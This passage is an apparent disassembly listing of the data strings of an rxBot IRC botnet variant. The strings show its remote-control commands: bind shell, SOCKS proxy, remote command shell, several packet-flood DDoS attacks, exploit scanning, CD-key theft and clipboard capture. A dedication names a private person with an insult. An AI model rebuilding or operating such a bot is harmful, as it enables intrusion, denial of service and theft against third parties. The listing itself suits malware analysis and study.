dup(63h), 2 db 3 aChatFailedByUn db '- Chat failed by unauthorized user: %s.',0 align 4 ; char aLogin[] aLogin db 'login',0 ; DATA XREF: sub_401CC7+A8Bo align 4 ; char asc_43FEE4[] asc_43FEE4: ; DATA XREF: sub_401CC7+AA3o unicode 0, <l>,0 ; char asc_43FEE8[] asc_43FEE8: ; DATA XREF: sub_401CC7+7E75o unicode 0, <!>,0 ; char asc_43FEEC[] asc_43FEEC: ; DATA XREF: sub_401CC7+7E93o unicode 0, <~>,0 ; char aNoticeSPassAut[] aNoticeSPassAut db 'NOTICE %s :Pass auth failed (%s!%s).',0Dh,0Ah,0 ; DATA XREF: sub_401CC7+7EC3o align 4 ; char aNoticeSYourAtt[] aNoticeSYourAtt db 'NOTICE %s :Your attempt has been logged.',0Dh,0Ah,0 ; DATA XREF: sub_401CC7+7EDAo align 4 unk_43FF44 db 2Dh ; - ; DATA XREF: sub_401CC7+7EECo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aFailedPassAuth db '*Failed pass auth by: (%s!%s).',0 align 10h ; char aNoticeSHostAut[] aNoticeSHostAut db 'NOTICE %s :Host Auth failed (%s!%s).',0Dh,0Ah,0 ; DATA XREF: sub_401CC7+7F2Ao align 4 ; char aNoticeSYourA_0[] aNoticeSYourA_0 db 'NOTICE %s :Your attempt has been logged.',0Dh,0Ah,0 ; DATA XREF: sub_401CC7+7F41o align 4 unk_43FFC4 db 2Dh ; - ; DATA XREF: sub_401CC7+7F53o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aFailedHostAuth db '*Failed host auth by: (%s!%s).',0 align 10h unk_43FFF0 db 2Dh ; - ; DATA XREF: sub_401CC7+7FB4o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aPasswordAccept db 'Password accepted.',0 align 10h unk_440010 db 2Dh ; - ; DATA XREF: sub_401CC7+7FD1o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aUserSLoggedIn_ db 'User: %s logged in.',0 ; char a332_3[] a332_3 db '332',0 ; DATA XREF: sub_401CC7+AC5o ; char asc_440034[] asc_440034 db ' :',0 ; DATA XREF: sub_401CC7:loc_4027E4o align 4 ; char aD[] aD db '$%d-',0 ; DATA XREF: sub_401CC7+B7Bo align 10h ; char aD_0[] aD_0 db '$%d',0 ; DATA XREF: sub_401CC7+C3Fo ; char aMe[] aMe db '$me',0 ; DATA XREF: sub_401CC7+CB1o ; char aUser[] aUser db '$user',0 ; DATA XREF: sub_401CC7+CC3o align 10h ; char aChan[] aChan db '$chan',0 ; DATA XREF: sub_401CC7+CD4o align 4 ; char aRndnick[] aRndnick db '$rndnick',0 ; DATA XREF: sub_401CC7+CF0o align 4 ; char aServer[] aServer db '$server',0 ; DATA XREF: sub_401CC7+D01o ; char aChr[] aChr db '$chr(',0 ; DATA XREF: sub_401CC7+D0Co align 4 ; char aChr_0[] aChr_0 db '$chr(',0 ; DATA XREF: sub_401CC7+D25o align 4 ; char asc_44007C[] asc_44007C: ; DATA XREF: sub_401CC7+D4Do unicode 0, <)>,0 ; char a63[] a63 db '63',0 ; DATA XREF: sub_401CC7+D75o align 4 ; char asc_440084[] asc_440084: ; DATA XREF: sub_401CC7+E4Do unicode 0, < >,0 ; char asc_440088[] asc_440088: ; DATA XREF: sub_401CC7:loc_402B35o unicode 0, < >,0 ; char aRndnick_0[] aRndnick_0 db 'rndnick',0 ; DATA XREF: sub_401CC7+EA8o ; char aRn[] aRn db 'rn',0 ; DATA XREF: sub_401CC7+EC0o align 4 ; char aNickS_8[] aNickS_8 db 'NICK %s',0Dh,0Ah,0 ; DATA XREF: sub_401CC7+7E2Co align 4 ; char asc_4400A4[] asc_4400A4 db '-' ; DATA XREF: sub_401CC7+7E43o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aRandomNickChan db 'Random nick change: %s',0 align 4 ; char aDie[] aDie db 'die',0 ; DATA XREF: sub_401CC7+ED5o ; char aD_1[] aD_1 db 'd',0 ; DATA XREF: sub_401CC7+EEAo align 10h ; char a332_4[] a332_4 db '332',0 ; DATA XREF: sub_401CC7+2F26o ; char aLogout[] aLogout db 'logout',0 ; DATA XREF: sub_401CC7+EFFo align 4 ; char aLo[] aLo db 'lo',0 ; DATA XREF: sub_401CC7+F14o align 10h ; char asc_4400E0[] asc_4400E0 db '-' ; DATA XREF: sub_401CC7+2EADo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aUserSLoggedO_1 db 'User %s logged out.',0 unk_440100 db 2Dh ; - ; DATA XREF: sub_401CC7+2EC3o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aNoUserLoggedIn db 'No user logged in at slot: %d.',0 align 4 unk_44012C db 2Dh ; - ; DATA XREF: sub_401CC7+2ECBo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aInvalidLoginSl db 'Invalid login slot number: %d.',0 align 4 ; char asc_440158[] asc_440158 db '-' ; DATA XREF: sub_401CC7+2F0Ao db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aUserSLoggedO_2 db 'User %s logged out.',0 ; char aVersion[] aVersion db 'version',0 ; DATA XREF: sub_401CC7+F29o ; char aVer[] aVer db 'ver',0 ; DATA XREF: sub_401CC7+F3Eo dword_440184 dd 234032Dh, 6E69616Dh, 202D0302h, 7325h ; DATA XREF: sub_401CC7+2E6Eo ; char aDedication[] aDedication db 'dedication',0 ; DATA XREF: sub_401CC7+F53o align 10h ; char aDed[] aDed db 'ded',0 ; DATA XREF: sub_401CC7+F68o unk_4401A4 db 2Dh ; - ; DATA XREF: sub_401CC7:loc_404B26o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aThisModOfRxbot db 'This mod of rxBot is dedicated to Pia Gerhardt (nameless@efnet/ir' db 'cnet), the Beautiful Operatress from Heaven (or Bitch Operatress ' db 'from Hell?) who I love so much.',0 align 4 ; char aSpeedtest[] aSpeedtest db 'speedtest',0 ; DATA XREF: sub_401CC7+F7Do align 10h ; char aSt[] aSt db 'st',0 ; DATA XREF: sub_401CC7+F92o align 4 ; char aSecure[] aSecure db 'secure',0 ; DATA XREF: sub_401CC7+FA7o align 4 ; char aSec[] aSec db 'sec',0 ; DATA XREF: sub_401CC7+FBCo ; char aUnsecure[] aUnsecure db 'unsecure',0 ; DATA XREF: sub_401CC7+FD1o align 4 ; char aUnsec[] aUnsec db 'unsec',0 ; DATA XREF: sub_401CC7+FE6o align 4 ; char aSecure_1[] aSecure_1 db 'secure',0 ; DATA XREF: sub_401CC7+2D49o align 4 ; char aSec_0[] aSec_0 db 'sec',0 ; DATA XREF: sub_401CC7+2D5Ao aSecuring db 'Securing',0 ; DATA XREF: sub_401CC7+2DB5o align 4 aUnsecuring db 'Unsecuring',0 ; DATA XREF: sub_401CC7+2DBCo align 4 ; char asc_4402A8[] asc_4402A8 db '-' ; DATA XREF: sub_401CC7+2DC2o db 3, 34h, 2 dd 75636573h, 3026572h, 7325202Dh, 73797320h, 2E6D6574h dd 0 dword_4402C4 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_401CC7+2E3Co aFailedToStar_0 db '- Failed to start secure thread, error: <%d>.',0 align 10h ; char aBindshell[] aBindshell db 'bindshell',0 ; DATA XREF: sub_401CC7+FFBo align 4 ; char aBd[] aBd db 'bd',0 ; DATA XREF: sub_401CC7+1010o align 10h ; char asc_440310[] asc_440310 db '-' ; DATA XREF: sub_401CC7+2CBAo db 3, 34h, 2 db 62h ; b db 69h, 6Eh, 64h db 73h ; s db 68h, 65h, 6Ch db 6Ch ; l db 2, 3, 2Dh aServerStartedO db ' Server started on: %s:%d.',0 align 4 unk_44033C db 2Dh ; - ; DATA XREF: sub_401CC7+2D3Eo db 3, 34h, 2 db 62h ; b db 69h, 6Eh, 64h db 73h ; s db 68h, 65h, 6Ch db 6Ch ; l db 2, 3, 2Dh aFailedToStar_1 db ' Failed to start server thread, error: <%d>.',0 align 4 ; char aBindshellstop[] aBindshellstop db 'bindshellstop',0 ; DATA XREF: sub_401CC7+1025o align 4 aServer_0 db 'Server',0 ; DATA XREF: sub_401CC7+103Eo align 4 dword_440394 dd 234032Dh, 646E6962h, 6C656873h, 2D03026Ch, 0 ; DATA XREF: sub_401CC7+1043o ; char aSocks4[] aSocks4 db 'socks4',0 ; DATA XREF: sub_401CC7+1065o align 10h ; char aS4[] aS4 db 's4',0 ; DATA XREF: sub_401CC7+107Ao align 4 ; char asc_4403B4[] asc_4403B4 db '-' ; DATA XREF: sub_401CC7+2BC9o db 3, 34h, 2 dd 6B636F73h, 3023473h aServerStarte_0 db '- Server started on: %s:%d.',0 dword_4403DC dd 234032Dh, 6B636F73h, 3023473h ; DATA XREF: sub_401CC7+2C38o aFailedToStar_2 db '- Failed to start server thread, error: <%d>.',0 align 4 ; char aSocks4stop[] aSocks4stop db 'socks4stop',0 ; DATA XREF: sub_401CC7+108Fo align 4 aServer_1 db 'Server',0 ; DATA XREF: sub_401CC7+10A8o align 4 dword_44042C dd 234032Dh, 6B636F73h, 3023473h, 2Dh ; DATA XREF: sub_401CC7+10ADo ; char aRloginstop[] aRloginstop db 'rloginstop',0 ; DATA XREF: sub_401CC7+10B5o align 4 aServer_2 db 'Server',0 ; DATA XREF: sub_401CC7+10CEo align 10h dword_440450 dd 234032Dh, 676F6C72h, 2646E69h, 2D03h ; DATA XREF: sub_401CC7+10D3o ; char aHttpstop[] aHttpstop db 'httpstop',0 ; DATA XREF: sub_401CC7+10DEo align 4 aServer_3 db 'Server',0 ; DATA XREF: sub_401CC7+10F7o align 4 dword_440474 dd 234032Dh, 70747468h, 2D030264h, 0 ; DATA XREF: sub_401CC7+10FCo ; char aLogstop[] aLogstop db 'logstop',0 ; DATA XREF: sub_401CC7+1107o aLogList db 'Log list',0 ; DATA XREF: sub_401CC7+1120o align 4 dword_440498 dd 234032Dh, 2676F6Ch, 2D03h ; DATA XREF: sub_401CC7+1125o ; char aRedirectstop[] aRedirectstop db 'redirectstop',0 ; DATA XREF: sub_401CC7+1130o align 4 aTcpRedirect db 'TCP redirect',0 ; DATA XREF: sub_401CC7+1149o align 4 dword_4404C4 dd 234032Dh, 69646572h, 74636572h, 2D0302h ; DATA XREF: sub_401CC7+114Eo ; char aDdos_stop[] aDdos_stop db 'ddos.stop',0 ; DATA XREF: sub_401CC7+1159o align 10h aDdosFlood db 'DDoS flood',0 ; DATA XREF: sub_401CC7+1172o align 4 dword_4404EC dd 234032Dh, 736F6464h, 2D0302h ; DATA XREF: sub_401CC7+1177o ; char aSynstop[] aSynstop db 'synstop',0 ; DATA XREF: sub_401CC7+1182o aSynFlood db 'Syn flood',0 ; DATA XREF: sub_401CC7+119Bo align 4 dword_44050C dd 234032Dh, 26E7973h, 2D03h ; DATA XREF: sub_401CC7+11A0o ; char aSkysynstop[] aSkysynstop db 'skysynstop',0 ; DATA XREF: sub_401CC7+11ABo align 4 aSkysynFlood db 'SkySyn flood',0 ; DATA XREF: sub_401CC7+11C4o align 4 dword_440534 dd 234032Dh, 73796B73h, 3026E79h, 2Dh ; DATA XREF: sub_401CC7+11C9o ; char aTarga3stop[] aTarga3stop db 'targa3stop',0 ; DATA XREF: sub_401CC7+11D4o align 10h aTarga3Flood db 'Targa3 flood',0 ; DATA XREF: sub_401CC7+11EDo align 10h dword_440560 dd 234032Dh, 67726174h, 3023361h, 2Dh ; DATA XREF: sub_401CC7+11F2o ; char aWonkstop[] aWonkstop db 'wonkstop',0 ; DATA XREF: sub_401CC7+11FDo align 4 aWonkFlood db 'Wonk flood',0 ; DATA XREF: sub_401CC7+1216o align 4 dword_440588 dd 234032Dh, 6B6E6F77h, 2D0302h ; DATA XREF: sub_401CC7+121Bo ; char aPacketstop[] aPacketstop db 'packetstop',0 ; DATA XREF: sub_401CC7+1226o align 10h aDdosFlood_0 db 'DDoS flood',0 ; DATA XREF: sub_401CC7+1247o align 4 dword_4405AC dd 234032Dh, 736F6464h, 2D0302h ; DATA XREF: sub_401CC7+124Co aSynFlood_0 db 'Syn flood',0 ; DATA XREF: sub_401CC7+1265o align 4 dword_4405C4 dd 234032Dh, 26E7973h, 2D03h ; DATA XREF: sub_401CC7+126Ao aUdpFlood db 'UDP flood',0 ; DATA XREF: sub_401CC7+1286o align 4 dword_4405DC dd 234032Dh, 2706475h, 2D03h ; DATA XREF: sub_401CC7+128Bo aPingFlood db 'Ping flood',0 ; DATA XREF: sub_401CC7+12A4o align 4 dword_4405F4 dd 234032Dh, 676E6970h, 2D0302h ; DATA XREF: sub_401CC7+12A9o aTarga3Flood_0 db 'Targa3 flood',0 ; DATA XREF: sub_401CC7+12C5o align 10h dword_440610 dd 234032Dh, 67726174h, 3023361h, 2Dh ; DATA XREF: sub_401CC7+12CAo aWonkFlood_0 db 'Wonk flood',0 ; DATA XREF: sub_401CC7+12E3o align 4 dword_44062C dd 234032Dh, 6B6E6F77h, 2D0302h ; DATA XREF: sub_401CC7+12E8o aTsunamiFlood db 'Tsunami flood',0 ; DATA XREF: sub_401CC7+1304o align 4 dword_440648 dd 234032Dh, 6E757374h, 2696D61h, 2D03h ; DATA XREF: sub_401CC7+1309o aWisdomAttack db 'Wisdom attack',0 ; DATA XREF: sub_401CC7+1322o align 4 dword_440668 dd 234032Dh, 64736977h, 3026D6Fh, 2Dh ; DATA XREF: sub_401CC7+1327o aSkysynFlood_0 db 'SkySyn flood',0 ; DATA XREF: sub_401CC7+1343o align 4 dword_440688 dd 234032Dh, 73796B73h, 3026E79h, 2Dh ; DATA XREF: sub_401CC7+1348o unk_440698 db 2Dh ; - ; DATA XREF: sub_401CC7+1362o db 3, 34h, 2 db 64h ; d db 64h, 6Fh, 73h db 2 db 3, 2Dh, 20h aAllPacketingAc db 'All packeting activity has been halted.',0 ; char aTsunamistop[] aTsunamistop db 'tsunamistop',0 ; DATA XREF: sub_401CC7+137Co aTsunamiFlood_0 db 'Tsunami flood',0 ; DATA XREF: sub_401CC7+1395o align 4 dword_4406E8 dd 234032Dh, 6E757374h, 2696D61h, 2D03h ; DATA XREF: sub_401CC7+139Ao ; char aWisdomstop[] aWisdomstop db 'wisdomstop',0 ; DATA XREF: sub_401CC7+13A5o align 4 aWisdomAttack_0 db 'Wisdom attack',0 ; DATA XREF: sub_401CC7+13BEo align 4 dword_440714 dd 234032Dh, 64736977h, 3026D6Fh, 2Dh ; DATA XREF: sub_401CC7+13C3o ; char aUdpstop[] aUdpstop db 'udpstop',0 ; DATA XREF: sub_401CC7+13CEo aUdpFlood_0 db 'UDP flood',0 ; DATA XREF: sub_401CC7+13E7o align 4 dword_440738 dd 234032Dh, 2706475h, 2D03h ; DATA XREF: sub_401CC7+13ECo ; char aPingstop[] aPingstop db 'pingstop',0 ; DATA XREF: sub_401CC7+13F7o align 10h aPingFlood_0 db 'Ping flood',0 ; DATA XREF: sub_401CC7+1410o align 4 dword_44075C dd 234032Dh, 676E6970h, 2D0302h ; DATA XREF: sub_401CC7+1415o ; char aTftpstop[] aTftpstop db 'tftpstop',0 ; DATA XREF: sub_401CC7+1420o align 4 aServer_4 db 'Server',0 ; DATA XREF: sub_401CC7+1439o align 4 dword_44077C dd 234032Dh, 70746674h, 2D030264h, 0 ; DATA XREF: sub_401CC7+143Eo ; char aFindfilestop[] aFindfilestop db 'findfilestop',0 ; DATA XREF: sub_401CC7+1449o align 4 ; char aFfstop[] aFfstop db 'ffstop',0 ; DATA XREF: sub_401CC7+145Eo align 4 aFindFile db 'Find file',0 ; DATA XREF: sub_401CC7+2B11o align 10h dword_4407B0 dd 234032Dh, 646E6966h, 656C6966h, 2D0302h ; DATA XREF: sub_401CC7+2B16o ; char aProcsstop[] aProcsstop db 'procsstop',0 ; DATA XREF: sub_401CC7+1473o align 4 ; char aPsstop[] aPsstop db 'psstop',0 ; DATA XREF: sub_401CC7+1488o align 4 aProcessList db 'Process list',0 ; DATA XREF: sub_401CC7+2AF9o align 4 dword_4407E4 dd 234032Dh, 636F7270h, 2D030273h, 0 ; DATA XREF: sub_401CC7+2AFEo ; char aClonestop[] aClonestop db 'clonestop',0 ; DATA XREF: sub_401CC7+149Do align 10h aClone db 'Clone',0 ; DATA XREF: sub_401CC7+14B6o align 4 dword_440808 dd 234032Dh, 6E6F6C63h, 3027365h, 2Dh ; DATA XREF: sub_401CC7+14BBo ; char aSecurestop[] aSecurestop db 'securestop',0 ; DATA XREF: sub_401CC7+14C6o align 4 aSecure_0 db 'Secure',0 ; DATA XREF: sub_401CC7+14DFo align 4 dword_44082C dd 234032Dh, 75636573h, 3026572h, 2Dh ; DATA XREF: sub_401CC7+14E4o ; char aScanstop[] aScanstop db 'scanstop',0 ; DATA XREF: sub_401CC7+14EFo align 4 aScan db 'Scan',0 ; DATA XREF: sub_401CC7+1508o align 10h dword_440850 dd 234032Dh, 6E616373h, 2D0302h ; DATA XREF: sub_401CC7+150Do ; char aScanstats[] aScanstats db 'scanstats',0 ; DATA XREF: sub_401CC7+1518o align 4 ; char aStats[] aStats db 'stats',0 ; DATA XREF: sub_401CC7+152Do align 10h ; char aTransferstats[] aTransferstats db 'transferstats',0 ; DATA XREF: sub_401CC7+1542o align 10h ; char aTrstats[] aTrstats db 'trstats',0 ; DATA XREF: sub_401CC7+1557o ; char aConnectbacksta[] aConnectbacksta db 'connectbackstats',0 ; DATA XREF: sub_401CC7+156Co align 4 ; char aCbstats[] aCbstats db 'cbstats',0 ; DATA XREF: sub_401CC7+1581o ; char aExploitlist[] aExploitlist db 'exploitlist',0 ; DATA XREF: sub_401CC7+1596o ; char aExplist[] aExplist db 'explist',0 ; DATA XREF: sub_401CC7+15ABo ; char aReconnect[] aReconnect db 'reconnect',0 ; DATA XREF: sub_401CC7+15C0o align 4 ; char aR[] aR: ; DATA XREF: sub_401CC7+15D5o unicode 0, <r>,0 ; char aQuitReconnecti[] aQuitReconnecti db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401CC7:loc_404740o align 10h dword_4408E0 dd 234032Dh, 6E69616Dh, 202D0302h, 6F636552h, 63656E6Eh ; DATA XREF: sub_401CC7+2A86o dd 676E6974h, 2Eh ; char aDisconnect[] aDisconnect db 'disconnect',0 ; DATA XREF: sub_401CC7+15EAo align 4 ; char aDc[] aDc db 'dc',0 ; DATA XREF: sub_401CC7+15FFo align 4 ; char aQuitDisconnect[] aQuitDisconnect db 'QUIT :disconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401CC7:loc_40471Eo align 4 dword_440924 dd 234032Dh, 6E69616Dh, 202D0302h, 63736944h, 656E6E6Fh ; DATA XREF: sub_401CC7+2A64o dd 6E697463h, 2E67h ; char aQuit_0[] aQuit_0 db 'quit',0 ; DATA XREF: sub_401CC7+1614o align 4 ; char aQ[] aQ: ; DATA XREF: sub_401CC7+1629o unicode 0, <q>,0 ; char aQuitS[] aQuitS db 'QUIT :%s',0Dh,0Ah,0 ; DATA XREF: sub_401CC7+2A2Fo align 4 ; char aQuitLater[] aQuitLater db 'QUIT :later',0Dh,0Ah,0 ; DATA XREF: sub_401CC7:loc_404708o align 4 ; char aStatus[] aStatus db 'status',0 ; DATA XREF: sub_401CC7+163Eo align 10h ; char aS_2[] aS_2: ; DATA XREF: sub_401CC7+1653o unicode 0, <s>,0 unk_440974 db 2Dh ; - ; DATA XREF: sub_401CC7+2A08o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aStatusReady_Bo db 'Status: Ready. Bot Uptime: %s.',0 align 10h ; char aId[] aId db 'id',0 ; DATA XREF: sub_401CC7+1668o align 4 ; char aI_0[] aI_0 db 'i',0 ; DATA XREF: sub_401CC7+167Do align 4 ; char asc_4409A8[] asc_4409A8 db '-' ; DATA XREF: sub_401CC7+29C9o db 3, 34h, 2 dd 6E69616Dh, 202D0302h, 20746F42h, 203A4449h, 2E7325h ; char aReboot[] aReboot db 'reboot',0 ; DATA XREF: sub_401CC7+1692o align 4 ; char asc_4409C8[] asc_4409C8 db '-' ; DATA XREF: sub_401CC7+16A9o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aRebootingSyste db 'Rebooting system.',0 align 4 unk_4409E8 db 2Dh ; - ; DATA XREF: sub_401CC7+16B0o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aFailedToReboot db 'Failed to reboot system.',0 align 10h ; char aThreads[] aThreads db 'threads',0 ; DATA XREF: sub_401CC7+16E4o ; char aT[] aT: ; DATA XREF: sub_401CC7+16F9o unicode 0, <t>,0 ; char aSub[] aSub db 'sub',0 ; DATA XREF: sub_401CC7+2925o ; char asc_440A20[] asc_440A20 db '-' ; DATA XREF: sub_401CC7+294Bo db 3, 34h, 2 dd 65726874h, 2736461h, 4C202D03h, 20747369h, 65726874h dd 2E736461h, 0 unk_440A40 db 2Dh ; - ; DATA XREF: sub_401CC7+29BAo db 3, 34h, 2 db 74h ; t db 68h, 72h, 65h db 61h ; a db 64h, 73h, 2 db 3 aFailedToStartL db '- Failed to start list thread, error: <%d>.',0 align 4 ; char aAliases[] aAliases db 'aliases',0 ; DATA XREF: sub_401CC7+170Eo ; char aAl[] aAl db 'al',0 ; DATA XREF: sub_401CC7+1723o align 4 dword_440A88 dd 234032Dh, 6E69616Dh, 202D0302h, 61696C41h, 696C2073h ; DATA XREF: sub_401CC7+28D3o dd 2E7473h ; char aLog[] aLog db 'log',0 ; DATA XREF: sub_401CC7+1738o ; char aLg[] aLg db 'lg',0 ; DATA XREF: sub_401CC7+174Do align 4 ; char aS_36[] aS_36 db '%s',0 ; DATA XREF: sub_401CC7+27F5o align 4 ; char asc_440AAC[] asc_440AAC db '-' ; DATA XREF: sub_401CC7+2849o db 3, 34h, 2 dd 2676F6Ch, 4C202D03h, 69747369h, 6C20676Eh, 2E676Fh unk_440AC4 db 2Dh ; - ; DATA XREF: sub_401CC7+28B8o db 3, 34h, 2 db 6Ch ; l db 6Fh, 67h, 2 db 3 aFailedToStar_3 db '- Failed to start listing thread, error: <%d>.',0 ; char aClearlog[] aClearlog db 'clearlog',0 ; DATA XREF: sub_401CC7+1762o align 4 ; char aClg[] aClg db 'clg',0 ; DATA XREF: sub_401CC7+1777o ; char aNetinfo[] aNetinfo db 'netinfo',0 ; DATA XREF: sub_401CC7+178Co ; char aNi[] aNi db 'ni',0 ; DATA XREF: sub_401CC7+17A1o align 4 dword_440B18 dd 234032Dh, 6E69616Dh, 202D0302h, 7774654Eh, 206B726Fh ; DATA XREF: sub_401CC7+27A4o dd 6F666E49h, 2Eh ; char aSysinfo[] aSysinfo db 'sysinfo',0 ; DATA XREF: sub_401CC7+17B6o ; char aSi[] aSi db 'si',0 ; DATA XREF: sub_401CC7+17CBo align 10h dword_440B40 dd 234032Dh, 6E69616Dh, 202D0302h, 74737953h, 49206D65h ; DATA XREF: sub_401CC7+2775o dd 2E6F666Eh, 0 ; char aRemove[] aRemove db 'remove',0 ; DATA XREF: sub_401CC7+17E0o align 4 ; char aRm[] aRm db 'rm',0 ; DATA XREF: sub_401CC7+17F5o align 4 dword_440B68 dd 234032Dh, 6E69616Dh, 202D0302h, 6F6D6552h, 676E6976h ; DATA XREF: sub_401CC7+2720o dd 746F4220h, 2Eh ; char aProcs[] aProcs db 'procs',0 ; DATA XREF: sub_401CC7+180Ao align 4 ; char aPs[] aPs db 'ps',0 ; DATA XREF: sub_401CC7+181Fo align 10h unk_440B90 db 2Dh ; - ; DATA XREF: sub_401CC7+260Do db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aAlreadyRunning db ' Already running.',0 align 10h ; char aFull[] aFull db 'full',0 ; DATA XREF: sub_401CC7+266Fo align 4 ; char asc_440BB8[] asc_440BB8 db '-' ; DATA XREF: sub_401CC7+268Fo db 3, 34h, 2 dd 636F7270h, 2D030273h, 6F725020h, 73656363h, 696C2073h dd 2E7473h ; char asc_440BD4[] asc_440BD4 db '-' ; DATA XREF: sub_401CC7+2704o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aFailedToStar_4 db ' Failed to start listing thread, error: <%d>.',0 align 10h ; char aGetcdkeys[] aGetcdkeys db 'getcdkeys',0 ; DATA XREF: sub_401CC7+1834o align 4 ; char aKey[] aKey db 'key',0 ; DATA XREF: sub_401CC7+1849o dword_440C20 dd 234032Dh, 656B6463h, 3027379h ; DATA XREF: sub_401CC7+25EAo aSearchComplete db '- Search completed.',0 ; char aUptime[] aUptime db 'uptime',0 ; DATA XREF: sub_401CC7+185Eo align 4 ; char aUp[] aUp db 'up',0 ; DATA XREF: sub_401CC7+1873o align 4 ; char asc_440C4C[] asc_440C4C db '-' ; DATA XREF: sub_401CC7+259Eo db 3, 34h, 2 dd 6E69616Dh, 202D0302h, 69747055h, 203A656Dh, 2E7325h ; char aDriveinfo[] aDriveinfo db 'driveinfo',0 ; DATA XREF: sub_401CC7+1888o align 10h ; char aDrv[] aDrv db 'drv',0 ; DATA XREF: sub_401CC7+189Do ; char aTestdlls[] aTestdlls db 'testdlls',0 ; DATA XREF: sub_401CC7+18B2o align 10h ; char aDll[] aDll db 'dll',0 ; DATA XREF: sub_401CC7+18C7o ; char aOpencmd[] aOpencmd db 'opencmd',0 ; DATA XREF: sub_401CC7+18DCo ; char aOcmd[] aOcmd db 'ocmd',0 ; DATA XREF: sub_401CC7+18F1o align 4 unk_440C94 db 2Dh ; - ; DATA XREF: sub_401CC7+24E5o db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aRemoteShellAlr db '- Remote shell already running.',0 align 10h unk_440CC0 db 2Dh ; - ; DATA XREF: sub_401CC7+2504o db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aCouldnTOpenRem db '- Couldn',27h,'t open remote shell.',0 align 4 unk_440CE8 db 2Dh ; - ; DATA XREF: sub_401CC7:loc_4041D5o db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aRemoteShellRea db '- Remote shell ready.',0 align 4 ; char aCmdstop[] aCmdstop db 'cmdstop',0 ; DATA XREF: sub_401CC7+1906o aRemoteShell db 'Remote shell',0 ; DATA XREF: sub_401CC7+191Fo align 10h dword_440D20 dd 234032Dh, 2646D63h, 2D03h ; DATA XREF: sub_401CC7+1924o ; char aWho[] aWho db 'who',0 ; DATA XREF: sub_401CC7+192Fo dword_440D30 dd 234032Dh, 69676F6Ch, 696C206Eh, 3027473h, 2Dh ; DATA XREF: sub_401CC7+194Co aEmpty db '<Empty>',0 ; DATA XREF: sub_401CC7:loc_40363Eo ; char aD_S[] aD_S db '%d. %s',0 ; DATA XREF: sub_401CC7+1986o align 4 unk_440D54 db 2Dh ; - ; DATA XREF: sub_401CC7+19BEo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aLoginListCompl db 'Login list complete.',0 align 4 ; char aGetclip[] aGetclip db 'getclip',0 ; DATA XREF: sub_401CC7+1A4Co ; char aGc[] aGc db 'gc',0 ; DATA XREF: sub_401CC7+1A61o align 4 dword_440D84 dd 234032Dh, 70696C63h, 72616F62h, 61642064h, 3026174h ; DATA XREF: sub_401CC7+24A1o dd 2Dh dword_440D9C dd 234032Dh, 6E69616Dh, 202D0302h, 20746547h, 70696C43h ; DATA XREF: sub_401CC7+24CFo dd 72616F62h, 2E64h ; char aFlusharp[] aFlusharp db 'flusharp',0 ; DATA XREF: sub_401CC7+1A76o align 4 ; char aFarp[] aFarp db 'farp',0 ; DATA XREF: sub_401CC7+1A8Bo align 4 unk_440DCC db 2Dh ; - ; DATA XREF: sub_401CC7+248Ao db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aArpCacheFlushe db 'ARP cache flushed.',0 align 10h unk_440DF0 db 2Dh ; - ; DATA XREF: sub_401CC7:loc_404158o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aFailedToFlushA db 'Failed to flush ARP cache.',0 align 4 ; char aFlushdns[] aFlushdns db 'flushdns',0 ; DATA XREF: sub_401CC7+1AA0o align 4 ; char aFdns[] aFdns db 'fdns',0 ; DATA XREF: sub_401CC7+1AB5o align 10h unk_440E30 db 2Dh ; - ; DATA XREF: sub_401CC7+2458o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aDnsCacheFlushe db 'DNS cache flushed.',0 align 4 unk_440E54 db 2Dh ; - ; DATA XREF: sub_401CC7:loc_404126o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aFailedToFlushD db 'Failed to flush DNS cache.',0 align 10h ; char asc_440E80[] asc_440E80 db '-' ; DATA XREF: sub_401CC7:loc_40412Do db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aFailedToLoadDn db 'Failed to load dnsapi.dll.',0 align 4 ; char aCurrentip[] aCurrentip db 'currentip',0 ; DATA XREF: sub_401CC7+1ACAo align 4 ; char aCip[] aCip db 'cip',0 ; 